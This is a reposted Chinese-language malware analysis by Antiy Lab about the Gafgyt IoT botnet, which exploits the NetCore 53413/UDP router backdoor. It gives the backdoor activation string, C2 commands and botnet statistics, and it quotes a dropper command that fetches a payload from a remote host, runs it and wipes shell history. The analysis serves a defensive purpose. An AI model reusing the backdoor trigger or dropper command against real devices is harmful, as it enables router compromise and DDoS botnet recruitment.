搜索

[12290] 2018-01-27_物联网僵尸网络GAFGYT家族与NETCORE53413后门的背后

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-01-27_物联网僵尸网络GAFGYT家族与NETCORE53413后门的背后 物 联 网 僵 尸 网 络 G A F G Y T 家 族 与 N E T C O R E   5 3 4 1 3 后 门 的 背 后 a n t i y l a b   F r e e B u f   2 0 1 8 - 0 1 - 2 7 1   概 述 概 述 近 日 ， 安 天 捕 风 蜜 网 系 统 监 控 并 捕 获 到 大 量 异 常 的 近 日 ， 安 天 捕 风 蜜 网 系 统 监 控 并 捕 获 到 大 量 异 常 的 U D P 流 量 ， 通 过 对 该 流 量 的 分 析 ， 发 现 存 在 僵 尸 网 络 控 制 节 流 量 ， 通 过 对 该 流 量 的 分 析 ， 发 现 存 在 僵 尸 网 络 控 制 节 点 （ 点 （ C 2 ） 位 于 美 国 的 黑 客 组 织 正 在 对 全 球 网 络 的 ） 位 于 美 国 的 黑 客 组 织 正 在 对 全 球 网 络 的 N e t C o r e   5 3 4 1 3 / U D P 后 门 端 口 进 行 扫 描 攻 击 。 后 门 端 口 进 行 扫 描 攻 击 。 早 在 2 0 1 4 年 ， 由 国 内 电 子 厂 商 生 产 的 一 系 列 名 为 N e t C o r e 的 路 由 器 产 品 就 已 经 被 有 关 安 全 研 究 员 披 露 有 高 权 限 的 后 门 存 在 ， 该 后 门 可 能 会 影 响 全 球 大 约 3 0 0 万 台 N e t C o r e 系 列 路 由 器 等 设 备 。 此 次 5 3 4 1 3 / U D P 后 门 被 国 外 物 联 网 僵 尸 网 络 G a f g y t 家 族 再 次 利 用 ， 可 见 目 前 互 联 网 上 还 存 在 大 量 有 该 后 门 的 路 由 器 设 备 ， 而 这 些 设 备 很 大 可 能 被 作 为 高 危 的 潜 在 “ 肉 鸡 ” 。 结 合 目 前 关 联 捕 获 的 G a f g y t 样 本 分 析 ， 发 现 其 T e l / S S H 扫 描 爆 破 的 I P 网 段 重 点 分 布 在 越 南 （ 占 比 3 3 . 0 4 % ） 、 中 国 （ 占 比 2 6 . 0 8 % ） 以 及 其 他 亚 洲 国 家 （ 占 比 1 7 . 8 2 % ） ， 其 地 理 位 置 与 N e t C o r e 产 品 的 主 要 销 售 对 象 重 合 度 很 大 。 通 过 安 天 捕 风 蜜 网 系 统 单 日 捕 获 的 流 量 和 云 堤 关 联 流 量 分 析 识 别 ， 全 国 有 3 3 2 3 0 台 “ 肉 鸡 ” 在 线 尝 试 与 指 定 G a f g y t 家 族 僵 尸 网 络 C 2 连 接 。 综 合 上 述 情 况 分 析 ， 可 见 N e t C o r e   5 3 4 1 3 / U D P   后 门 端 口 与 G a f g y t 家 族 僵 尸 网 络 的 结 合 ， 对 我 国 的 互 联 网 安 全 存 在 很 大 威 胁 。 2   N e t C o r e   5 3 4 1 3 后 门 后 门 2 . 1   5 3 1 4 3 端 口 后 门 漏 洞 概 述 端 口 后 门 漏 洞 概 述 2 0 1 4 年 8 月 末 ， 由 中 国 电 子 厂 商 生 产 的 系 列 路 由 器 （ 国 内 品 牌 名 称 为   N e t c o r e ， 国 外 品 牌 名 称 为 N e t i s ） 被 爆 出 含 有 一 个 严 重 的 后 门 漏 洞 [ 参 考 1 、 2 ] 。 攻 击 者 可 以 通 过 此 漏 洞 获 取 路 由 器 R o o t 权 限 。 实 际 上 ， N e t c o r e 的 大 量 路 由 器 产 品 存 在 可 以 轻 易 利 用 的 后 门 漏 洞 ， 攻 击 者 可 利 用 硬 编 码 的 后 门 口 令 访 问 该 后 门 服 务 ， 并 可 执 行 任 意 命 令 以 及 上 传 、 下 载 文 件 ， 获 取 W E B 登 录 口 令 等 操 作 ， 可 完 全 控 制 受 影 响 的 产 品 。 由 于 此 后 门 存 在 监 听 5 3 4 1 3 / U D P 端 口 的 情 况 ， 故 可 以 从 受 影 响 设 备 的 W A N 端 利 用 ， 即 攻 击 者 可 从 互 联 网 上 任 何 地 方 利 用 此 漏 洞 。 早 在 2 0 1 4 年 ， 有 关 微 博 [ 参 考 3 ] 上 就 已 经 披 露 N e t c o r e 存 在 超 级 后 门 。 2 . 2   5 3 1 4 3 端 口 后 门 分 析 端 口 后 门 分 析 N e t c o r e 系 列 路 由 器 在 / b i n 目 录 下 存 在 一 个 名 为 i g d m p t d 的 程 序 ， 此 程 序 会 监 听 U D P 端 口 、   5 3 4 1 3   端 口 ， 之 后 调 用 o p e r a t e _ l o o p 进 入 事 件 循 环 ， 接 受 连 接 并 处 理 。 通 过 连 接   5 3 4 1 3 端 口 ， 可 以 通 过 特 定 格 式 的 报 文 来 获 取 路 由 器 上 的 文 件 信 息 ， 上 传 文 件 甚 至 执 行 系 统 命 令 。 分 析 详 情 如 下 ： 分 析 P c a p 包 ， 利 用 w i r e s h a r k 分 析 U D P 报 文 D a t a 数 据 段 ， 其 发 送 到 5 3 4 1 3 端 口 的 数 据 为 A A A A A A A A n e t c o r e . ， 从 而 激 活 后 门 登 录 。 接 着 发 送 另 外 一 段 U D P 报 文 ， 切 换 目 录 下 载 G a f g y t 僵 尸 网 络 木 马 并 执 行 ， 数 据 段 为 ： 完 整 利 用 过 程 如 图 1 和 图 2 所 示 ：
图 1   后 门 登 录 图   2   执 行 任 意 恶 意 代 码 3   关 联 关 联 G a f g y t 家 族 样 本 分 析 家 族 样 本 分 析 3 . 1   G a f g y t 家 族 功 能 简 介 家 族 功 能 简 介 G a f g y t 家 族 “ 肉 鸡 ” 的 主 要 功 能 分 为 3 个 模 块 ： 1 、 D o w n l o a d e r 模 块 。 通 过 样 本 硬 编 码 的 u r l 下 载 . s h 脚 本 和 其 他 附 属 样 本 ， 然 后 执 行 该 脚 本 / 样 本 ， 实 现 “ 肉 鸡 ” 感 染 （ 样 本 硬 编 码 的 u r l 类 似 与 h f s 链 接 ） 。
2 、 S c a n n e r 模 块 。 木 马 在 运 行 后 ， 首 先 会 向 C 2 发 送 首 包 ， 而 该 首 包 与 通 常 的 僵 尸 网 络 家 族 首 包 存 在 比 较 大 的 区 别 。 常 见 的 僵 尸 网 络 家 族 首 包 是 包 含 系 统 配 置 等 信 息 的 ， 而 G a f g y t 首 包 数 据 是 “ B U I L D   R A Z E R . ” ， C 2 则 通 常 回 复 “ ! * S C A N N E R   O N ” ， 命 令 “ 肉 鸡 ” 随 机 对 指 定 I P 网 段 进 行 T e l / S S H 弱 口 令 扫 描 爆 破 ， 如 果 “ 肉 鸡 ” 发 现 爆 破 成 功 ， 便 通 过 远 程 登 录 下 载 并 植 入 木 马 。 3 、 D D o S 攻 击 。 “ 肉 鸡 ” 在 执 行 T e l / S S H 扫 描 爆 破 的 同 时 ， 也 在 和 C 2 保 持 正 常 通 讯 ， 等 待 C 2 的 相 关 指 令 ， 例 如 D D o S 攻 击 指 令 。 G a f g y t 可 实 现 的 主 要 攻 击 方 式 包 括 ： S Y N   F l o o d 、 U D P   F l o o d 、 U D P   A m p l i f i c a t i o n 、 T C P   F l o o d 、 R S T F l o o d 、 H T T P   F l o o d 。 3 . 2   G a f g y t 家 族 木 马 功 能 分 析 家 族 木 马 功 能 分 析 1 、 样 本 执 行 ” s u d o   y u m   i n s t a l l   p y t h o n - p a r a m i k o   - y ; s u d o   a p t - g e t   i n s t a l l   p y t h o n - p a r a m i k o   - y ; s u d o   m k d i r   / . t m p / ; c d / . t m p ; w g e t   0 . 0 . 0 . 0 / s c a n . p y ” 指 令 ， 安 装 P y t h o n 编 译 器 ， 然 后 通 过 获 取 硬 编 码 在 样 本 内 的 u r l 进 行 下 载 并 执 行 s c a n . p y 脚 本 实 现 2 2 端 口 扫 描 爆 破 功 能 。 如 图 3   所 示 ： 图 3   s c a n . p y 脚 本 扫 描 爆 破 2 、 样 本 通 过 硬 编 码 嵌 入 的 I P 网 段 S S H _ S C A N   O N 指 令 的 2 2 端 口 爆 破 。 如 图 4   所 示 ： 图 4   执 行 S S H _ S C A N   O N 爆 破 3 、 T e l 爆 破 。 同 样 是 获 取 样 本 硬 编 码 的 I P 网 段 执 行 T e l _ S C A N   O N 的 2 3 端 口 爆 破 ， 并 远 程 T e l 登 录 被 爆 破 成 功 的 I P ， 执 行 ” c d   / t m p ;   w g e t   h t t p : / / c a t s m e o w a l o t . c o m / a ;   c h m o d   7 7 7   a ;   . / a ;   c d ;   r m   - r f   . / b a s h _ h i s t o r y ;   h i s t o r y   - c * r n ” 指 令 ， 植 入 G a f g y t 被 控 端 木 马 。 如 图 5   所 示 ：
图 5   G a f g y t 植 入 木 马 4 、 执 行 D D o S 攻 击 指 令 。 “ 肉 鸡 ” 在 进 行 T e l / s s h 扫 描 爆 破 的 同 时 ， 也 在 与 C 2 进 行 正 常 通 讯 ， 实 时 接 收 C 2 的 远 程 指 令 ， 例 如 D D o S 攻 击 指 令 。 如 图 6   所 示 ： “ 肉 鸡 ” 执 行 H T T P   F l o o d 攻 击 ： 图 6   执 行 H T T P   F l o o d   攻 击 “ 肉 鸡 ” 执 行 U D P   F l o o d 攻 击 。 如 图 7   所 示 ： 图 7   执 行 U D P   F l o o d   攻 击
图 8   执 行 T C P   F l o o d   攻 击 “ 肉 鸡 ” 执 行 S Y N   F l o o d 攻 击 。 如 图 9   所 示 ： 图 9   执 行 S Y N   F l o o d   攻 击 3 . 3   G a f g y t 家 族 攻 击 协 议 分 析
表 - 1   G a f g y t 家 族 协 议 数 据 4   关 联 关 联 G a f g y t 僵 尸 网 络 威 胁 情 报 僵 尸 网 络 威 胁 情 报 4 . 1   关 联 的 关 联 的 G a f g y t 僵 尸 网 络 架 构 僵 尸 网 络 架 构 图   1 0 物 联 网 木 马 G a f g y t 与 N e t C o r e   后 门 组 成 的 僵 尸 网 络 架 构 经 过 对 5 3 4 1 3 / U D P 端 口 后 门 及 对 应 的 G a f g y t 家 族 木 马 样 本 的 关 联 分 析 获 取 整 个 僵 尸 网 络 的 架 构 。
后 门 和 远 程 端 口 扫 描 爆 破 功 能 后 门 和 远 程 端 口 扫 描 爆 破 功 能 V u l n e _ S c a n n e r ： V u l n e _ S c a n n e r 功 能 模 块 是 独 立 运 行 在 几 台 服 务 器 中 ， 主 要 是 黑 客 通 过 自 定 义 配 置 扫 描 I P 网 段 扫 描 探 测 开 放 有 5 3 1 4 3 / U D P 端 口 后 门 的 I P ， 并 通 过 后 门 默 认 密 码 登 录 远 程 执 行 G a f g y t 木 马 植 入 或 者 下 载 植 入 木 马 的 S h e l l 脚 本 的 P a y l o a d 。 T e l / S S H 爆 破 ： T e l / S S H 远 程 服 务 端 口 爆 破 模 块 集 于 被 控 端 木 马 中 ， 是 通 过 使 用 “ 肉 鸡 ” 集 群 爆 破 实 现 高 效 率 蠕 虫 式 感 染 指 定 I P 网 段 存 在 弱 口 令 的 I o T / L i n u x 设 备 。 “ 肉 鸡 ” 将 爆 破 直 接 执 行 木 马 植 入 指 令 或 者 下 载 S h e l l 脚 本 批 量 自 动 枚 举 植 入 木 马 。 通 过 对 关 联 到 的 G a f g y t 僵 尸 网 络 木 马 分 析 得 知 ， 其 T e l / S S H 扫 描 爆 破 目 标 I P 网 段 已 经 硬 编 码 在 木 马 中 。 通 过 对 这 些 I P / 1 6 网 段 进 行 定 位 查 询 得 知 ， 关 联 的 G a f g y t 僵 尸 网 络 主 要 是 扫 描 爆 破 越 南 、 中 国 、 英 国 、 印 度 、 菲 律 宾 等 亚 洲 国 家 。 详 细 I P 网 段 的 国 家 比 例 如 下 图 1 1 所 示 ： 图   1 1 关 联 G a f g y t 僵 尸 网 络 T e l / S S H 爆 破 I P / 1 6 网 段 全 球 分 布 统 计 经 过 统 计 T e l / S S H 爆 破 的 I P / 1 6 网 段 结 果 显 示 ， 其 中 ， 网 段 最 多 的 是 越 南 ， 有 3 1 个 I P / 1 6 网 段 ， 占 3 3 . 0 4 % ； 中 国 位 列 第 二 ， 有 3 0 个 I P / 1 6 网 段 ， 占 2 6 . 0 8 % ； 英 国 有 1 1 个 I P / 1 6 网 段 ， 占 9 . 5 6 5 % ， 位 列 第 三 ； 印 度 第 四 ， 有 6 个 I P / 1 6 网 段 ， 占 比 约 5 . 2 2 % ； 土 耳 其 有 4 个 I P / 1 6 网 段 ， 占 约 3 . 4 8 % 。 需 要 指 出 的 是 ， 目 前 捕 获 的 5 个 关 联 的 G a f g y t 僵 尸 网 络 C 2 均 位 于 美 国 ， 但 对 美 国 爆 破 的 I P / 1 6 网 段 却 只 有 1 个 ， 占 1 % 不 到 ； 而 整 个 亚 洲 却 有 8 5 个 爆 破 I P / 1 6 网 段 ， 约 占 7 9 . 9 1 % ， 很 明 显 ， 该 G a f g y t 僵 尸 网 络 入 侵 感 染 木 马 的 物 联 网 设 备 目 标 主 要 位 于 亚 洲 。 如 图 下 所 示 ， 经 过 对 G a f g y t 僵 尸 网 络 T e l / S S H 爆 破 的 3 0 个 国 内 I P / 1 6 网 段 梳 理 获 知 ， 其 主 要 扫 描 的 是 辽 宁 、 四 川 、 黑 龙 江 、 福 建 、 山 东 、 香 港 的 物 联 网 设 备 。 从 I P 网 段 分 布 比 例 看 ， 与 目 前 捕 获 的 “ 肉 鸡 ” 分 布 存 在 一 些 差 异 。 该 问 题 存 在 的 原 因 ， 可 能 是 蜜 网 部 署 节 点 并 没 有 在 扫 描 的 I P 网 段 列 表 中 ， 或 是 捕 获 的 流 量 地 域 比 较 集 中 。 但 有 一 点 可 以 肯 定 的 是 ， 本 次 关 联 到 的 G a f g y t 僵 尸 网 络 重 点 I P 网 段 扫 描 是 在 下 图 所 示 的 省 份 。
无 论 是 V u l n e _ S c a n n e r 还 是 T e l / S S H 扫 描 爆 破 ， 获 取 到 的 远 程 代 码 任 意 执 行 权 限 ， 都 会 下 载 并 运 行 存 放 在 T F P 里 面 的 G a f g y t 家 族 木 马 。 “ 肉 鸡 肉 鸡 ” &   C 2 交 互 交 互 “ 肉 鸡 ” 在 进 行 I P 网 段 漏 洞 扫 描 的 同 时 ， 也 会 和 C 2 进 行 连 接 通 信 ， 时 刻 等 待 并 执 行 C 2 下 发 的 攻 击 指 令 。 从 之 前 G a f g y t 的 攻 击 手 法 中 看 出 ， 有 S Y N   F l o o d 、 U D P   F l o o d 、 U D P   A m p l i f i c a t i o n 、 T C P   F l o o d 、 R S T   F l o o d 、 H T T P   F l o o d 等 攻 击 类 型 。 4 . 2   关 联 关 联 G a f g y t 僵 尸 网 络 攻 击 情 报 僵 尸 网 络 攻 击 情 报 安 天 捕 风 小 组 团 队 已 对 关 联 G a f g y t 僵 尸 网 络 集 群 进 行 了 长 达 一 个 月 的 实 时 监 测 。 目 前 已 经 监 测 到 关 联 G a f g y t 僵 尸 网 络 集 群 向 美 国 、 巴 西 、 英 国 、 荷 兰 、 法 国 、 罗 马 尼 亚 、 澳 大 利 亚 、 厄 瓜 多 尔 、 阿 根 廷 、 葡 萄 牙 、 乌 克 兰 、 加 拿 大 、 韩 国 等 国 家 发 起 了 5 8 6 条 间 歇 性 D D o S 攻 击 （ 如 下 图 所 示 ） ， 造 成 了 8 3 个 攻 击 事 件 。 从 攻 击 情 报 数 据 上 看 ， 关 联 G a f g y t 僵 尸 网 络 集 群 没 有 对 国 内 任 何 目 标 进 行 D D o S 攻 击 ， 但 是 却 存 在 大 量 的 物 联 网 设 备 被 充 当 “ 肉 鸡 ” 的 情 况 。
图 - 1 3   关 联 G a f g y t 僵 尸 网 络 集 群 D D o S 攻 击 统 计 4 . 3   关 联 的 关 联 的 G a f g y t 僵 尸 网 络 僵 尸 网 络 “ 肉 鸡 肉 鸡 ” 情 报 情 报 通 过 安 天 捕 风 蜜 网 系 统 和 电 信 云 堤 对 关 联 到 的 C 2 进 行 “ 肉 鸡 ” I P 排 查 ， 获 取 到 国 内 部 分 存 在 关 联 的 “ 肉 鸡 ” 有 3 3 2 3 0 台 。 经 过 对 这 些 “ 肉 鸡 ” 进 行 地 域 查 询 并 按 省 份 分 析 统 计 获 知 ， 关 联 到 的 “ 肉 鸡 ” I P 主 要 分 布 在 沿 海 或 内 陆 发 达 地 区 ， 其 中 有 “ 肉 鸡 ” I P 达 到 1 0 0 0 台 以 上 的 有 9 个 省 份 ， 分 别 是 浙 江 6 1 4 1 台 、 江 苏 5 8 2 0 台 、 广 东 3 2 6 6 台 、 重 庆 2 9 1 7 台 、 安 徽 2 0 1 9 台 、 四 川 1 2 7 9 台 、 福 建 1 1 5 3 台 、 湖 南 1 0 6 9 台 、 山 东 1 0 3 3 台 ， 这 9 个 省 份 “ 肉 鸡 ” I P 占 据 了 目 前 捕 获 关 联 到 的 C 2 国 内 的 “ 肉 鸡 ” 中 的 7 4 . 3 2 % （ 详 细 如 下 图 统 计 所 示 ） 。 但 这 些 各 省 份 “ 肉 鸡 ” 数 据 比 例 与 I P / 1 6 扫 描 数 据 比 例 确 实 存 在 一 些 差 异 ， 出 现 该 情 况 的 主 要 原 因 可 能 为 以 下 几 点 ： 1 .   安 天 捕 风 小 组 没 有 针 对 本 次 G a f g y t 僵 尸 网 络 所 爆 破 的 I P / 1 6 网 段 进 行 部 署 。 2 .   电 信 云 堤 的 数 据 监 测 分 析 ， 主 要 针 对 历 史 “ 肉 鸡 ” 高 发 的 地 区 进 行 数 据 筛 查 。 3 .   本 次 捕 获 的 “ 肉 鸡 ” ， 大 部 分 应 该 是 通 过 N e t C o r e 的 5 3 4 1 3 / U D P 端 口 后 门 感 染 ， 这 一 点 在 安 天 捕 风 蜜 网 系 统 捕 获 的 数 据 中 可 以 得 到 验 证 。
图 1 4   国 内 关 联 G a f g y t 僵 尸 网 络 捕 获 “ 肉 鸡 ” 分 布 情 况 统 计 5   总 结 总 结 最 近 几 年 ， 物 联 网 僵 尸 网 络 得 到 了 快 速 发 展 ， 设 备 漏 洞 利 用 与 僵 尸 网 络 的 结 合 已 经 十 分 常 见 ， 特 别 是 起 源 于 国 外 的 M i r a i 和 G a f g y t 两 个 家 族 ， 经 常 会 利 用 最 新 0 d a y 漏 洞 变 异 版 本 ， 使 大 量 物 联 网 设 备 感 染 木 马 。 究 其 根 本 原 因 ， 是 因 为 近 年 来 物 联 网 行 业 在 成 为 全 球 热 点 后 迅 速 发 展 ， 市 场 需 求 和 经 济 利 润 也 在 不 断 增 长 ， 但 很 多 物 联 网 设 备 在 研 发 期 间 盲 目 追 求 产 品 功 能 进 度 ， 缺 失 了 对 设 备 安 全 的 重 视 ， 导 致 大 批 物 联 网 设 备 存 在 各 种 类 型 的 高 危 漏 洞 。 由 于 物 联 网 设 备 基 数 大 、 高 危 漏 洞 多 、 防 御 措 施 少 、 监 管 措 施 不 足 ， 促 使 黑 客 对 全 球 大 量 物 联 网 设 备 进 行 了 僵 尸 网 络 木 马 的 大 肆 感 染 ， 使 其 沦 为 其 控 制 下 的 “ 肉 鸡 ” ， 默 默 做 着 没 有 报 酬 的 “ D D o S 打 手 ” 或 “ 矿 工 ” 。 据 统 计 ， 全 球 至 少 有 1 0 0 0 万 台 物 联 网 设 备 存 在 高 危 漏 洞 ， 这 批 潜 在 的 “ 肉 鸡 ” 对 任 何 一 个 黑 客 组 织 来 说 都 是 足 以 诱 人 的 ， 哪 怕 只 能 用 1 % 的 量 组 成 一 个 D D o S 僵 尸 网 络 ， 其 攻 击 流 量 也 足 以 达 到 “ T B ” 级 别 。 所 以 ， 当 前 D D o S 攻 击 流 量 能 迅 速 从 G B 级 别 迅 速 提 升 到 T B 级 别 ， 很 大 原 因 是 得 益 于 大 批 物 联 网 充 当 了 “ 肉 鸡 ” 。 看 似 D D o S 攻 击 对 我 们 个 人 并 没 有 多 大 影 响 ， 现 实 中 却 严 重 影 响 我 们 的 生 活 和 工 作 ， 甚 至 国 家 和 互 联 网 的 安 全 。 当 D D o S 僵 尸 网 络 执 行 攻 击 时 ， 不 仅 攻 击 目 标 和 “ 肉 鸡 ” 都 属 于 受 害 者 。 2 0 1 6 年 1 0 月 ， 美 国 域 名 服 务 商 D y n 遭 到 大 规 模 物 联 网 僵 尸 网 络 D D o S 攻 击 ， 导 致 美 国 东 部 大 面 积 不 能 正 常 上 网 ； 同 年 1 1 月 底 造 成 德 国 9 0 多 万 台 路 由 器 和 固 定 电 话 的 网 络 瘫 痪 ， 就 是 因 为 相 关 设 备 被 植 入 M i r a i 家 族 木 马 并 执 行 D D o S 攻 击 造 成 的 网 络 堵 塞 。 而 黑 客 的 攻 击 目 标 也 从 小 范 围 的 网 络 目 标 ， 升 级 到 商 业 之 间 的 竞 争 、 国 家 金 融 服 务 ， 甚 至 国 家 之 间 的 政 治 、 军 事 行 动 等 等 。 如 今 ， D D o S 僵 尸 网 络 搭 建 的 简 易 性 和 廉 价 性 ， 给 互 联 网 安 全 和 我 们 日 常 生 活 和 工 作 造 成 的 威 胁 日 趋 严 峻 ， 维 护 网 络 安 全 发 展 仍 然 任 重 道 远 。 附 录 附 录 [ 阅 读 原 文 阅 读 原 文 ] * 本 文 作 者 ： a n t i y l a b ， 转 载 请 注 明 来 自 F r e e B u f . C O M
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理